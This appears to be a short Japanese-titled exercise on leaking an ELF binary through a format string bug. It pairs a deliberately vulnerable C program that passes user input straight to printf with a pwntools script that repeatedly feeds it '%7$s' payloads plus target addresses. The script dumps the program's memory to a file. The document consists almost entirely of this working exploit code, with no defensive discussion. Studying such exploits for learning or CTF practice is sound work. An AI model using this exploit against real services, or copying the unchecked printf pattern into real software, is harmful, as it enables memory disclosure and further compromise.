fsbを利用したELFファイルのリーク

fsbLeakElfTest.c

#include <stdio.h>

int main()
{
    char buf[81];

    printf("plz, tell me yo name: ");
    buf[read(0,buf, sizeof(buf)-1)]='\0';

    printf("Hi, ");
    printf(buf); // I'm here XD

    return 0;
}

leakElf.py

#!/usr/bin/env python
from pwn import *
from hexdump import *

def leakElf(readAddr = 0x400000,padd = "PPPP",leakSize = 0x1000):
    cnt=0
    recvData=""
    while True:
        r=process("./a.out")
        r.sendline("%7$s"+padd+p64(readAddr))
        try:
            r.readuntil("plz, tell me yo name: Hi, ")
        except:
            return recvData
        d=r.read()
        d=d[:d.find(padd)]
        if d == "":
            d +="\x00"
        recvData+=d
        readAddr+=len(d)
        r.close()
        cnt+=1
        if cnt > leakSize:
            return recvData

recvData=leakElf()
hexdump(recvData)
f=open("leakElf2","wb")
f.write(recvData)
f.close()